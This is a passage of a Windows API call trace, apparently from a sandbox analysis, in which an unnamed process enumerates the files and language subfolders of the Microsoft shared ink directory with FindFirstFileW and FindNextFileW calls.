dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0148.097] GetLastError () returned 0x12 [0148.097] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0148.098] GetLastError () returned 0x12 [0148.098] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0148.098] GetLastError () returned 0x12 [0148.098] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0148.098] GetLastError () returned 0x12 [0148.098] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0148.098] GetLastError () returned 0x12 [0148.098] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0148.098] GetLastError () returned 0x12 [0148.098] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0148.099] GetLastError () returned 0x12 [0148.099] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0148.099] GetLastError () returned 0x12 [0148.099] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0148.100] GetLastError () returned 0x12 [0148.100] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0148.101] GetLastError () returned 0x12 [0148.101] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0148.102] GetLastError () returned 0x12 [0148.102] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.103] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.103] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.103] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.103] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.103] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0148.103] GetLastError () returned 0x12 [0148.104] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0148.104] GetLastError () returned 0x12 [0148.104] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0148.104] GetLastError () returned 0x12 [0148.104] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0148.104] GetLastError () returned 0x12 [0148.104] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0148.104] GetLastError () returned 0x12 [0148.104] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0148.104] GetLastError () returned 0x12 [0148.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.105] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.105] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.106] GetLastError () returned 0x12 [0148.106] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.106] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.106] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.106] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0148.106] GetLastError () returned 0x12 [0148.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.106] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.108] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, 